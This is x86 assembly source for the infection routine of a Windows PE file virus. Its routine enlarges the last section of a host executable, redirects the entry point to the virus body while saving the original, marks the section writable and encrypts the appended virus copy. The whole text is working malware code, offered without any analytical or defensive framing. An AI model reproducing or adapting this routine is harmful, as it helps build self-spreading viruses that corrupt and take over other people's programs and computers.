;%%%4 0 INCS Increase last section of host

;infect file by increasing the last file section

infect_image:
	pushad
        mov ebp,eax

;calculate last section header position (the one we will increase)

        mov esi,[ebp.MZ_lfanew]
        add esi,ebp
        movzx eax,wo [esi.NT_FileHeader.FH_NumberOfSections]
        imul eax,eax,IMAGE_SIZEOF_SECTION_HEADER
	lea edi,[esi.eax+(size IMAGE_NT_HEADERS-IMAGE_SIZEOF_SECTION_HEADER)]

        mov ebx,[edi.SH_SizeOfRawData]
        mov edx,ebx
	add ebx,[edi.SH_VirtualAddress]
	add edx,[edi.SH_PointerToRawData]

;set new entrypoint

        xchg ebx,[esi.NT_OptionalHeader.OH_AddressOfEntryPoint]
        add ebx,[esi.NT_OptionalHeader.OH_ImageBase]

;modify section values to virus needs

        mov dwo [edi.SH_Characteristics],IMAGE_SCN_CNT_INITIALIZED_DATA+IMAGE_SCN_MEM_READ+IMAGE_SCN_MEM_WRITE

        call get_virus_size
        add eax,[edi.SH_SizeOfRawData]
        mov ecx,[esi.NT_OptionalHeader.OH_FileAlignment]
        dec ecx
        add eax,ecx
        not ecx
        and eax,ecx
        mov [edi.SH_SizeOfRawData],eax

	add eax,[edi.SH_PointerToRawData]
	mov [esp.Pushad_eax],eax

        call get_virus_size
        add eax,[edi.SH_VirtualSize]
        mov ecx,[esi.NT_OptionalHeader.OH_SectionAlignment]
        dec ecx
        add eax,ecx
        not ecx
        and eax,ecx
        mov [edi.SH_VirtualSize],eax

	add eax,[edi.SH_VirtualAddress]
        mov [esi.NT_OptionalHeader.OH_SizeOfImage],eax

	push esi
        mov eax,[esi.NT_OptionalHeader.OH_AddressOfEntryPoint]

	call @@delta
  @@delta:
  	pop esi
  	sub esi,ofs @@delta-ofs virus_main

  	mov dwo [esi+(ofs original_entrypoint-ofs virus_main)],ebx

;call encryption routine

        mov ecx,virus_size
	lea edi,[edx+ebp]
        call encrypt

;fix the entrypoint, in case that the encryption changed it

        pop esi
        add [esi.NT_OptionalHeader.OH_AddressOfEntryPoint],eax

	popad
	ret